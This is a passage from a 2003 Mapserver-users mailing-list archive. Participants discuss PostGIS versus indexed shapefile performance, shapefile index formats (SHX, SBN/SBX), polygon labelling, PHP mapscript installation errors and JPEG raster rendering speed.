- large shape file archives can be hard to manage if the data changes
regularly
- if you have an interactive site which allows online updates then
concurrent shapefile writing could cause data corruption as well as
indexes going out of sync with the underlying data
- you can do complex multi-table queries much faster PostGIS than with
shape files
- you can do attribute-based queries much faster with PostGIS than with
shape files (because shape files lack an index on the attributes)
- you can use your PostGIS/PostgreSQL system as a full corporate data
repository, storing your business attributes and spatial objects in the
same data schema, managing the different aspects of the data with many
different tools, using standard access methods like JDBC and ODBC
Lowther, David W wrote:
> Are there certain situations in which the access to PostGIS might be
quicker
> then a shapefile, say when zoomed in closely or zoomed way out or when
doing
> a point based query?
No. In the very-zoomed-in case the performance will be almost identical,
but never faster.
> Is there a point where the number of features in a layer would cause
PostGIS
> or shapefiles to perform better?
The PostGIS r-tree index might end up more balanced than the shape file
quadtree for certain kinds of spatial data. At larger archive sizes it
is possible that this might result in a noticable performance win. I
cannot give a concrete example however.
> What if I put a monster of a machine in place as the postgres server?
Could
> I build a postgres server that would be as fast as shapefiles local to
> mapserver?
Well, if you give your postgis database more oomf to read through the
data, you might make it faster than your poor little mapserver
read-and-render machine, but it hardly seems fair to make the
comparison. If you are buying a monster machine you could just run the
read-and-render mapserver on it, and your shape files would still be faster.
> What happens as the application scales? If I saw traffic like mapquest.com
> or something would shapefiles be faster than PostGIS?
Properly laid out shape files, with a tiling system and spatial indexes,
should always be faster. If your data changes regularly such a layout
might not be managable however, or might be most easily managed with a
hybrid system (store working data in PostGIS and snap out a copy for
mapserver to read-and-render from on a nightly basis).
> Sorry if this seems irrelevant or silly line of questions. I just have a
> conflict between the convenience / queryability of PostGIS and the speed
of
> shapefiles.
It is not irrelevant at all. Understanding the tradeoffs (and there
*are* tradeoffs for both options) is the core of good systems design. I
hope I have provided some useful information.
Paul
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From dlowther at ou.edu Wed Jan 15 10:55:06 2003
From: dlowther at ou.edu (Lowther, David W)
Date: Wed, 15 Jan 2003 12:55:06 -0600
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
Message-ID:
Cord,
Basically I think of it (and I could be off the mark here also) as indexing
the shape column is like indexing the roadname column - how do i find each
shape fastest. Indexing the shapefile spatially would be more like Mapserver
uses tileindex for knowing which raster files are in the current extent
before it even tries to find them.
Does that make it clear as mud?
Dave
-----Original Message-----
From: Thomas, Cord [mailto:cthomas at rand.org]
Sent: Wednesday, January 15, 2003 12:54 PM
To: 'Lowther, David W'; 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question
Okay,
could someone simply explain the difference between an "index of shapes" as
provided by ArcView indexing of the shape field (i assume this is what you
all mean) and a spatial index (which i understand to be some sort of fixed
or flexible grid structure grouping sets of shapes into the grids).
so, i sort of understand - but basically - WHAT IS THE ESRI SHAPE INDEX?
Cord
-----Original Message-----
From: Lowther, David W [mailto:dlowther at ou.edu]
Sent: Wednesday, January 15, 2003 10:45 AM
To: 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question
Paul,
Thanks for the excellent info. This is exactly what I was trying to
understand.
I am using the indexing on the shapefiles as provided by shpindex. I haven't
tested without this index, but I haven't had any reason to doubt that the
people that recommend using the indices KNOW what they are suggesting and
why.
It's interesting that ESRI has provided a means (within Arcview) to index
shapefile shapes and attributes, but not to index shapefiles spatially. I
had never thought about that. I guess I always assumed it was "built in"
because ESRI is such a thoughtful vendor especially when it comes to
performance of their products. (Choke, cough, gasp - I almost couldn't even
write it as a joke...)
And the reasons you've listed for using PostGIS are exactly the reasons I
would prefer it to shapefiles. In some instances, the expression on a
shapefile just won't cut it. And the enterprise-wide database solution in
the holy grail.
We host the data warehouse for Oklahoma. Datasets come in from a variety of
agencies (in shapefile format) via FTP and are automatically uploaded to an
OpenGIS compliant SQLServer database that we developed before there WERE
OpenGIS compliant solutions out there. We've got a CGI that will build
shapefiles from the database on the fly for the area a user desires. The CGI
would also map directly from the database, but mapserver blows our CGI's
performance away so I switched. Now we have a little more piecemeal
solution: the shapefiles for mapserver, the postgis for layers that require
it for filtering, our database / CGI for building shapefiles for download,
etc - but its all worth it for the performance.
I had (and probably still have) hopes of migrating all of this over to
PostGIS. It wouldn't take much to change our CGI over to PostGIS's way of
storing (or recalling) geometries. It does seem that the open source
community would benefit from this effort. Actually all it would be is a
Win32 based pgsql2shp that would allow you to filter output based on another
shape. We would use this to allow users to download layers based on their
map's visible extent and other nifty things like that.
Anyway, I've gone on a bit unsolicitedly here.
Again, thanks for the info.
Dave Lowther
-----Original Message-----
From: Paul Ramsey [mailto:pramsey at refractions.net]
Sent: Wednesday, January 15, 2003 12:12 PM
To: Lowther, David W; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question
David,
Early in the development of the PostGIS / Mapserver connector we did
some benchmarking of PostGIS against Shape files.
Shape files will be faster than PostGIS for simple map drawing
applications in almost every case. The rendering step is going to be
the same regardless of data source. That leaves data access, and an
indexed shapefile will always have slightly lower overhead than an
indexed spatial table for a simple spatial bounding rectangle query. We
found that the speed difference was lowest what the number of features
was smallest. Ie, for drawing a map with only 3 features, selected out
of a table of 300000, the PostGIS layer took less than 10% longer (on a
scale measured in 1/100s of a second, mind you :). For drawing maps
with more (several thousand) features, the PostGIS overhead got as high
as 20-30%.
(Note that all the statements above assume you have build an index on
your shape files. It is interesting to note that ESRI has never put out
a means of spatially indexing shape files, and as a result there is a
kind of collective brain melt in our field which says "shape files are
'too slow' for web mapping". This is true with ArcIMS (no spatial index)
but not true with Mapserver.)
So why use PostGIS at all?
Several reasons:
- large shape file archives can be hard to manage if the data changes
regularly
- if you have an interactive site which allows online updates then
concurrent shapefile writing could cause data corruption as well as
indexes going out of sync with the underlying data
- you can do complex multi-table queries much faster PostGIS than with
shape files
- you can do attribute-based queries much faster with PostGIS than with
shape files (because shape files lack an index on the attributes)
- you can use your PostGIS/PostgreSQL system as a full corporate data
repository, storing your business attributes and spatial objects in the
same data schema, managing the different aspects of the data with many
different tools, using standard access methods like JDBC and ODBC
Lowther, David W wrote:
> Are there certain situations in which the access to PostGIS might be
quicker
> then a shapefile, say when zoomed in closely or zoomed way out or when
doing
> a point based query?
No. In the very-zoomed-in case the performance will be almost identical,
but never faster.
> Is there a point where the number of features in a layer would cause
PostGIS
> or shapefiles to perform better?
The PostGIS r-tree index might end up more balanced than the shape file
quadtree for certain kinds of spatial data. At larger archive sizes it
is possible that this might result in a noticable performance win. I
cannot give a concrete example however.
> What if I put a monster of a machine in place as the postgres server?
Could
> I build a postgres server that would be as fast as shapefiles local to
> mapserver?
Well, if you give your postgis database more oomf to read through the
data, you might make it faster than your poor little mapserver
read-and-render machine, but it hardly seems fair to make the
comparison. If you are buying a monster machine you could just run the
read-and-render mapserver on it, and your shape files would still be faster.
> What happens as the application scales? If I saw traffic like mapquest.com
> or something would shapefiles be faster than PostGIS?
Properly laid out shape files, with a tiling system and spatial indexes,
should always be faster. If your data changes regularly such a layout
might not be managable however, or might be most easily managed with a
hybrid system (store working data in PostGIS and snap out a copy for
mapserver to read-and-render from on a nightly basis).
> Sorry if this seems irrelevant or silly line of questions. I just have a
> conflict between the convenience / queryability of PostGIS and the speed
of
> shapefiles.
It is not irrelevant at all. Understanding the tradeoffs (and there
*are* tradeoffs for both options) is the core of good systems design. I
hope I have provided some useful information.
Paul
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From cthomas at rand.org Wed Jan 15 11:00:46 2003
From: cthomas at rand.org (Thomas, Cord)
Date: Wed, 15 Jan 2003 11:00:46 -0800
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
Message-ID: <2732967B446AFD4E9CDE5E37D642548B9D5149@smmail2.rand.org>
Yeah, to me it does, that sounded a lot like an ESRI spokesperson talk (lol)
- i guess i am looking for what this mystical index of esri's looks like - i
don't think it is int he shapefile specs - though i could be wrong. i guess
i should look there.
basically, mapserver's tileindex should look like:
tile 1 - shape ID a, b, c
tile 2 - shape ID b, e, f
tile 3 - shape ID f, g, a
where the question is - what shapes have either their extent somewhere in
the tile (That is the scenario i outline above) or have their centers in the
tile (which would not have shape values in multiple tiles).
this is also how i would imagine esri's shape index working...
cord
-----Original Message-----
From: Lowther, David W [mailto:dlowther at ou.edu]
Sent: Wednesday, January 15, 2003 10:55 AM
To: 'Thomas, Cord'; Lowther, David W; 'Paul Ramsey';
mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question
Cord,
Basically I think of it (and I could be off the mark here also) as indexing
the shape column is like indexing the roadname column - how do i find each
shape fastest. Indexing the shapefile spatially would be more like Mapserver
uses tileindex for knowing which raster files are in the current extent
before it even tries to find them.
Does that make it clear as mud?
Dave
-----Original Message-----
From: Thomas, Cord [mailto:cthomas at rand.org]
Sent: Wednesday, January 15, 2003 12:54 PM
To: 'Lowther, David W'; 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question
Okay,
could someone simply explain the difference between an "index of shapes" as
provided by ArcView indexing of the shape field (i assume this is what you
all mean) and a spatial index (which i understand to be some sort of fixed
or flexible grid structure grouping sets of shapes into the grids).
so, i sort of understand - but basically - WHAT IS THE ESRI SHAPE INDEX?
Cord
-----Original Message-----
From: Lowther, David W [mailto:dlowther at ou.edu]
Sent: Wednesday, January 15, 2003 10:45 AM
To: 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question
Paul,
Thanks for the excellent info. This is exactly what I was trying to
understand.
I am using the indexing on the shapefiles as provided by shpindex. I haven't
tested without this index, but I haven't had any reason to doubt that the
people that recommend using the indices KNOW what they are suggesting and
why.
It's interesting that ESRI has provided a means (within Arcview) to index
shapefile shapes and attributes, but not to index shapefiles spatially. I
had never thought about that. I guess I always assumed it was "built in"
because ESRI is such a thoughtful vendor especially when it comes to
performance of their products. (Choke, cough, gasp - I almost couldn't even
write it as a joke...)
And the reasons you've listed for using PostGIS are exactly the reasons I
would prefer it to shapefiles. In some instances, the expression on a
shapefile just won't cut it. And the enterprise-wide database solution in
the holy grail.
We host the data warehouse for Oklahoma. Datasets come in from a variety of
agencies (in shapefile format) via FTP and are automatically uploaded to an
OpenGIS compliant SQLServer database that we developed before there WERE
OpenGIS compliant solutions out there. We've got a CGI that will build
shapefiles from the database on the fly for the area a user desires. The CGI
would also map directly from the database, but mapserver blows our CGI's
performance away so I switched. Now we have a little more piecemeal
solution: the shapefiles for mapserver, the postgis for layers that require
it for filtering, our database / CGI for building shapefiles for download,
etc - but its all worth it for the performance.
I had (and probably still have) hopes of migrating all of this over to
PostGIS. It wouldn't take much to change our CGI over to PostGIS's way of
storing (or recalling) geometries. It does seem that the open source
community would benefit from this effort. Actually all it would be is a
Win32 based pgsql2shp that would allow you to filter output based on another
shape. We would use this to allow users to download layers based on their
map's visible extent and other nifty things like that.
Anyway, I've gone on a bit unsolicitedly here.
Again, thanks for the info.
Dave Lowther
-----Original Message-----
From: Paul Ramsey [mailto:pramsey at refractions.net]
Sent: Wednesday, January 15, 2003 12:12 PM
To: Lowther, David W; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question
David,
Early in the development of the PostGIS / Mapserver connector we did
some benchmarking of PostGIS against Shape files.
Shape files will be faster than PostGIS for simple map drawing
applications in almost every case. The rendering step is going to be
the same regardless of data source. That leaves data access, and an
indexed shapefile will always have slightly lower overhead than an
indexed spatial table for a simple spatial bounding rectangle query. We
found that the speed difference was lowest what the number of features
was smallest. Ie, for drawing a map with only 3 features, selected out
of a table of 300000, the PostGIS layer took less than 10% longer (on a
scale measured in 1/100s of a second, mind you :). For drawing maps
with more (several thousand) features, the PostGIS overhead got as high
as 20-30%.
(Note that all the statements above assume you have build an index on
your shape files. It is interesting to note that ESRI has never put out
a means of spatially indexing shape files, and as a result there is a
kind of collective brain melt in our field which says "shape files are
'too slow' for web mapping". This is true with ArcIMS (no spatial index)
but not true with Mapserver.)
So why use PostGIS at all?
Several reasons:
- large shape file archives can be hard to manage if the data changes
regularly
- if you have an interactive site which allows online updates then
concurrent shapefile writing could cause data corruption as well as
indexes going out of sync with the underlying data
- you can do complex multi-table queries much faster PostGIS than with
shape files
- you can do attribute-based queries much faster with PostGIS than with
shape files (because shape files lack an index on the attributes)
- you can use your PostGIS/PostgreSQL system as a full corporate data
repository, storing your business attributes and spatial objects in the
same data schema, managing the different aspects of the data with many
different tools, using standard access methods like JDBC and ODBC
Lowther, David W wrote:
> Are there certain situations in which the access to PostGIS might be
quicker
> then a shapefile, say when zoomed in closely or zoomed way out or when
doing
> a point based query?
No. In the very-zoomed-in case the performance will be almost identical,
but never faster.
> Is there a point where the number of features in a layer would cause
PostGIS
> or shapefiles to perform better?
The PostGIS r-tree index might end up more balanced than the shape file
quadtree for certain kinds of spatial data. At larger archive sizes it
is possible that this might result in a noticable performance win. I
cannot give a concrete example however.
> What if I put a monster of a machine in place as the postgres server?
Could
> I build a postgres server that would be as fast as shapefiles local to
> mapserver?
Well, if you give your postgis database more oomf to read through the
data, you might make it faster than your poor little mapserver
read-and-render machine, but it hardly seems fair to make the
comparison. If you are buying a monster machine you could just run the
read-and-render mapserver on it, and your shape files would still be faster.
> What happens as the application scales? If I saw traffic like mapquest.com
> or something would shapefiles be faster than PostGIS?
Properly laid out shape files, with a tiling system and spatial indexes,
should always be faster. If your data changes regularly such a layout
might not be managable however, or might be most easily managed with a
hybrid system (store working data in PostGIS and snap out a copy for
mapserver to read-and-render from on a nightly basis).
> Sorry if this seems irrelevant or silly line of questions. I just have a
> conflict between the convenience / queryability of PostGIS and the speed
of
> shapefiles.
It is not irrelevant at all. Understanding the tradeoffs (and there
*are* tradeoffs for both options) is the core of good systems design. I
hope I have provided some useful information.
Paul
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From m_anderson14 at hotmail.com Wed Jan 15 11:18:34 2003
From: m_anderson14 at hotmail.com (Michael Anderson)
Date: Wed, 15 Jan 2003 19:18:34 +0000
Subject: [Mapserver-users] Error rendering line shapefiles
Message-ID:
Today I started getting a strange error with I try to render a shapefile of
polylines. If I turn the layer on and either zoom out too far or zoom to the
full extent of the map, I get this error:
msDrawShape(): General error message. Only polygon or line shapes can be
drawn using a line layer definition
If I zoom in it works fine. Zooming out is also OK until the extent gets
larger than the extent defined in the map file. Zooming to the full extent
produces the error every time. The shapefile was created in ArcView and
there are two shapefiles in the map file that were produced the same way and
work fine. Any ideas on what is going on? My only guess so far is that there
are some strange shapes in the shapefile and the error occurs when they are
in the visible extent.
Mike
_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*
http://join.msn.com/?page=features/virus
From pramsey at refractions.net Wed Jan 15 11:29:11 2003
From: pramsey at refractions.net (Paul Ramsey)
Date: Wed, 15 Jan 2003 11:29:11 -0800
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
In-Reply-To: <2732967B446AFD4E9CDE5E37D642548B9D5148@smmail2.rand.org>
References: <2732967B446AFD4E9CDE5E37D642548B9D5148@smmail2.rand.org>
Message-ID: <3E25B687.80201@refractions.net>
Thomas,
Alot of confusion is caused by the fact that the SHX file is called the
"index file". It *is* an index, but it is not a *spatial* index. It is
an index of the byte offset location of shape records in the SHP file,
which allows software to quickly read individual records out of the SHP
file without scanning every single byte.
I was *wrong* about ESRI not providing spatial indexes on shape files,
by the way. A quick read of the ArcView help file tells me that
mysterious SBN and SBX files ArcView generates are some form of spatial
index. Whether quads or grids or whatnot is not indicated. So if you
want to ship your shape files around with indexes remember to generate
and keep your SBN and SBX files.
P.
Thomas, Cord wrote:
>
> could someone simply explain the difference between an "index of
> shapes" as provided by ArcView indexing of the shape field (i assume
> this is what you all mean) and a spatial index (which i understand to
> be some sort of fixed or flexible grid structure grouping sets of
> shapes into the grids).
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
From georef at tie.cl Wed Jan 15 11:41:34 2003
From: georef at tie.cl (Juanse)
Date: Wed, 15 Jan 2003 16:41:34 -0300
Subject: [Mapserver-users] label prooblem
References: <005501c2bcbd$0ef31e10$1805000a@zedxinc.com>
Message-ID: <008101c2bcce$1cb67680$0500a8c0@temuko.cl>
This is a multi-part message in MIME format.
------=_NextPart_000_007E_01C2BCB4.F747ACC0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Aaron
I am not sure but it seem that the polygons not label because of their =
concave/convex shape have their center outside the polygon, and =
therefore mapsever must privilege the neighbouring polygons' label (at =
least this will be the case in mapinfo)
Juanse
Temuko-Chile
----- Original Message -----=20
From: Aaron D. Hunt=20
To: mapserver-users at lists.gis.umn.edu=20
Sent: Wednesday, January 15, 2003 2:39 PM
Subject: [Mapserver-users] label prooblem
I am making a map of a farm with field boundaries. Can any one tell me =
why mapserver is not labeling all the polygons (see attached).
I have force label to true.
Aaron D. Hunt
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.441 / Virus Database: 247 - Release Date: 09/01/03
------=_NextPart_000_007E_01C2BCB4.F747ACC0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Aaron
I am not sure but it seem that the =
polygons not=20
label because of their concave/convex shape have their center outside =
the=20
polygon, and therefore mapsever must privilege the neighbouring =
polygons' label=20
(at least this will be the case in mapinfo)
I am making a map of a farm with =
field=20
boundaries. Can any one tell me why mapserver is not labeling all the =
polygons=20
(see attached).
I have force label to =
true.
Aaron D. =
Hunt
--- Outgoing mail is certified Virus =
Free. Checked=20
by AVG anti-virus system (http://www.grisoft.com). Version: =
6.0.441=20
/ Virus Database: 247 - Release Date: =
09/01/03
------=_NextPart_000_007E_01C2BCB4.F747ACC0--
From Chip.Hankley at GASAI.Com Wed Jan 15 11:53:38 2003
From: Chip.Hankley at GASAI.Com (Hankley, Chip)
Date: Wed, 15 Jan 2003 13:53:38 -0600
Subject: [Mapserver-users] Label Prefix in Mapfile
Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852BE@postoffice.GASAI.Com>
Is it possible to add CLASS specific prefixes to labels via the mapfile?
For instance, I have a layer showing municipal boundaries; this layer is
broken out into several classes, one for City, Town, and Village. For my
CITY class, I would like my labels to be rendered as 'City of ' +
[MCD_NAME], villages as 'Village of ' + [MCD_NAME] etc.
Chip Hankley
From pramsey at refractions.net Wed Jan 15 12:02:38 2003
From: pramsey at refractions.net (Paul Ramsey)
Date: Wed, 15 Jan 2003 12:02:38 -0800
Subject: [Mapserver-users] Label Prefix in Mapfile
In-Reply-To: <3DFF131E4E6D2D4198CDD758F35A5353027852BE@postoffice.GASAI.Com>
References: <3DFF131E4E6D2D4198CDD758F35A5353027852BE@postoffice.GASAI.Com>
Message-ID: <3E25BE5E.7070905@refractions.net>
Another place where PostGIS could come to the rescue.. just do the name
processing as part of the SQL query :)
P.
Hankley, Chip wrote:
> Is it possible to add CLASS specific prefixes to labels via the mapfile?
>
> For instance, I have a layer showing municipal boundaries; this layer is
> broken out into several classes, one for City, Town, and Village. For my
> CITY class, I would like my labels to be rendered as 'City of ' +
> [MCD_NAME], villages as 'Village of ' + [MCD_NAME] etc.
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
From cthomas at rand.org Wed Jan 15 12:06:10 2003
From: cthomas at rand.org (Thomas, Cord)
Date: Wed, 15 Jan 2003 12:06:10 -0800
Subject: [Mapserver-users] PostGIS / Shapefile Performance Question
Message-ID: <2732967B446AFD4E9CDE5E37D642548B9D514D@smmail2.rand.org>
Paul
This is what i understood ArcView (and mapobjects, and ArcInfo to be sure)
to do.
So, does MapServer read the sbn/sbx files? or just the .shx file. Oh wait,
sorry - wasnt paying attention - MapServer creates its own index, right?
So, was shpindex written to provide the quadtree index because the sbn
format is an unknown (according to
http://gdal.velocet.ca/projects/shapelib/shapelib.html it is unpublished) or
because the quadtree was proven to be better.
Has anyone ever been able to explore either with ESRI or others why the
sbn/sbx is undocumented?
Cord
-----Original Message-----
From: Paul Ramsey [mailto:pramsey at refractions.net]
Sent: Wednesday, January 15, 2003 11:29 AM
To: Thomas, Cord; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question
Thomas,
Alot of confusion is caused by the fact that the SHX file is called the
"index file". It *is* an index, but it is not a *spatial* index. It is
an index of the byte offset location of shape records in the SHP file,
which allows software to quickly read individual records out of the SHP
file without scanning every single byte.
I was *wrong* about ESRI not providing spatial indexes on shape files,
by the way. A quick read of the ArcView help file tells me that
mysterious SBN and SBX files ArcView generates are some form of spatial
index. Whether quads or grids or whatnot is not indicated. So if you
want to ship your shape files around with indexes remember to generate
and keep your SBN and SBX files.
P.
Thomas, Cord wrote:
>
> could someone simply explain the difference between an "index of
> shapes" as provided by ArcView indexing of the shape field (i assume
> this is what you all mean) and a spatial index (which i understand to
> be some sort of fixed or flexible grid structure grouping sets of
> shapes into the grids).
--
__
/
| Paul Ramsey
| Refractions Research
| Email: pramsey at refractions.net
| Phone: (250) 885-0632
\_
From assefa at dmsolutions.ca Wed Jan 15 12:09:26 2003
From: assefa at dmsolutions.ca (Yewondwossen Assefa)
Date: Wed, 15 Jan 2003 15:09:26 -0500
Subject: [Mapserver-users] Adding php_mapscript
References: <200301160155.AA119079204@cad.go.th>
Message-ID: <3E25BFF6.772636B5@dmsolutions.ca>
Windows binaries for the latest release of mapsevrer 3.6.4 are available on the download site for php4.2.3 and php4.3.0 :
http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.6.4-win32-php4.2.3-libwww.zip
http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.6.4-win32-php4.3.0-libwww.zip
Later,
krung wrote:
> Hi Beth
>
> Did you use php_mapscript.dll the same version as your PHP? I went to dmsolution a few days ago, I couldn't find php_mapscript.dll with PHP 4.3.0 support.
>
> Krung.
>
> ---------- Original Message ----------------------------------
> From: Beth Baily
> Date: Wed, 15 Jan 2003 10:37:25 -0700
>
> >Listers,
> >
> >I have installed and tested PHP4 on my Win2000 workstation with Apache
> >and cgi mapserver 3.5. PHP4 by itself works fine. I moved
> >php_mapscript.dll to the php4 extensions directory and set extension_dir
> >in php.ini to that directory. Then I used phpinfo_mapscript.php to test
> >it. The output I get in my browser is:
> >
> >Warning: dl() [function.dl]: Unable to load dynamic library
> >'d:\php\php-4.3.0-Win32\extensions\php_mapscript.dll' - The specified
> >procedure could not be found. in d:\program files\apache
> >group\apache2\htdocs\phpinfo_mapscript.php on line 17
> >
> >followed by the results from phpinfo().
> >
> >
> >When I first start my browser and try to run phpinfo_mapscript.php, I
> >get this error:
> >
> >The procedure entry point zend_list_addref could not be located in the
> >dynamic link library php4ts.dll.
> >
> >I can click on OK and then I see the results described above. I would
> >appreciate any help.
> >
> >Thanks,
> >Beth
> >_______________________________________________
> >Mapserver-users mailing list
> >Mapserver-users at lists.gis.umn.edu
> >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst
Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/
Phone: (613) 565-5056 (ext 14)
Fax: (613) 565-0925
----------------------------------------------------------------
From bwragg at tpg.com.au Wed Jan 15 12:43:37 2003
From: bwragg at tpg.com.au (Benjamin Wragg)
Date: Thu, 16 Jan 2003 07:13:37 +1030
Subject: [Mapserver-users] Adding php_mapscript
In-Reply-To: <3E25BFF6.772636B5@dmsolutions.ca>
Message-ID: <001601c2bcd6$c80f8a00$0100a8c0@mapping12>
Is there any possibility that they have PostGIS support included???
Thanks,
Benjamin Wragg
-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of
Yewondwossen Assefa
Sent: Thursday, 16 January 2003 6:39 AM
To: krung at cad.go.th
Cc: mapserver-users at lists.gis.umn.edu; Beth Baily
Subject: Re: [Mapserver-users] Adding php_mapscript
Windows binaries for the latest release of mapsevrer 3.6.4 are available
on the download site for php4.2.3 and php4.3.0 :
http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.6.4-win32-php4.2.3-l
ibwww.zip
http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.6.4-win32-php4.3.0-l
ibwww.zip
Later,
krung wrote:
> Hi Beth
>
> Did you use php_mapscript.dll the same version as your PHP? I went to
dmsolution a few days ago, I couldn't find php_mapscript.dll with PHP
4.3.0 support.
>
> Krung.
>
> ---------- Original Message ----------------------------------
> From: Beth Baily
> Date: Wed, 15 Jan 2003 10:37:25 -0700
>
> >Listers,
> >
> >I have installed and tested PHP4 on my Win2000 workstation with
Apache
> >and cgi mapserver 3.5. PHP4 by itself works fine. I moved
> >php_mapscript.dll to the php4 extensions directory and set
extension_dir
> >in php.ini to that directory. Then I used phpinfo_mapscript.php to
test
> >it. The output I get in my browser is:
> >
> >Warning: dl() [function.dl]: Unable to load dynamic library
> >'d:\php\php-4.3.0-Win32\extensions\php_mapscript.dll' - The specified
> >procedure could not be found. in d:\program files\apache
> >group\apache2\htdocs\phpinfo_mapscript.php on line 17
> >
> >followed by the results from phpinfo().
> >
> >
> >When I first start my browser and try to run phpinfo_mapscript.php, I
> >get this error:
> >
> >The procedure entry point zend_list_addref could not be located in
the
> >dynamic link library php4ts.dll.
> >
> >I can click on OK and then I see the results described above. I
would
> >appreciate any help.
> >
> >Thanks,
> >Beth
> >_______________________________________________
> >Mapserver-users mailing list
> >Mapserver-users at lists.gis.umn.edu
> >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst
Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/
Phone: (613) 565-5056 (ext 14)
Fax: (613) 565-0925
----------------------------------------------------------------
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From lfilak at medinaco.org Wed Jan 15 13:35:20 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Wed, 15 Jan 2003 16:35:20 -0500
Subject: [Mapserver-users] Fwd: html variables from map file
Message-ID: <200301152132.h0FLW4R31161@yogi.medinaco.net>
The following message was sent by Alexander Shostko on Wed, 15 Jan 2003 15:19:39 -0500.
> Thanks for your advice in advance.
>
> Is there a way to address variable defined in html file
> from the map file in Expression statement:
>
> for example
>
> if I want to choose which attribute in .dbf file should be
> chosen based on the value of select construct in html file
>
> EXPRESSION( $interval eq 1 )
> EXPRESSION ([LEVEL] gt 1.0 ) ...
>
> EXPRESSION( $interval eq 3 )
> EXPRESSION (LEVEL3] gt 1.0 ) ...
>
> end
> ..
>
> ...
>
>
>
>
> ....
>
> the interval comes from html file.
>
> I am afraid that mapscript is the answer for this issue
>
> Thank you very much again
> Alexander Shostko
> Simulation Technologies Co.
> Vienna, VA
>
>
From lfilak at medinaco.org Wed Jan 15 13:57:11 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Wed, 15 Jan 2003 16:57:11 -0500
Subject: [Mapserver-users] Raster support - JPG problem
Message-ID: <200301152153.h0FLrtR31388@yogi.medinaco.net>
I would have to agree with Chip's performance findings.
We originally received all our orthophotography in TIFF format and planned on converting the images to JPEG to enable us to load the dataset on smaller machines.
However the performance hit was major in every application (Mapserver, Arc/INFO, & Arcview) because the entire JPEG tile had to be decompressed before the software could determine which pixels of the image needed rendered.
You can save space by flattening the source images to 8-bit WITH space reserved for 256 colors (some applications flatten to 8-bit but reserve space for 1000+ colors and that doesn't save any space).
If truly needed you can always save space by resampling the data to a larger pixel size, ie. 1' -> 2'.
Lowell F.
The following message was sent by "Hankley, Chip" on Wed, 15 Jan 2003 12:46:00 -0600.
> Michael,
>
> As Norman and Daniel pointed out, there are known issues with JPEG and
> MapServer.
>
> That said, I had a similar problem some months back trying to serve up JPEG
> images to MapServer. I did some experimenting and was finally able to get a
> JPEG image to come up in MS (sorry, I can't remember exactly what I did),
> but the performance was terrible.
>
> My assumption is that MapServer has to somehow uncompress the JPEG images
> before rendering them as part of the final image, and that this was the
> cause of the performance hit (if I simply swapped the data source to a TIF,
> there was no performance problem). I have no idea if my assessment of how
> the mechanics of JPEG rendering is correct... but in the end, I concluded
> that the trade-off for space savings with JPEG didn't make up for the
> performance hit I was taking.
>
> ...just my experience.
>
> Chip
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From bwragg at tpg.com.au Wed Jan 15 14:00:13 2003
From: bwragg at tpg.com.au (Benjamin Wragg)
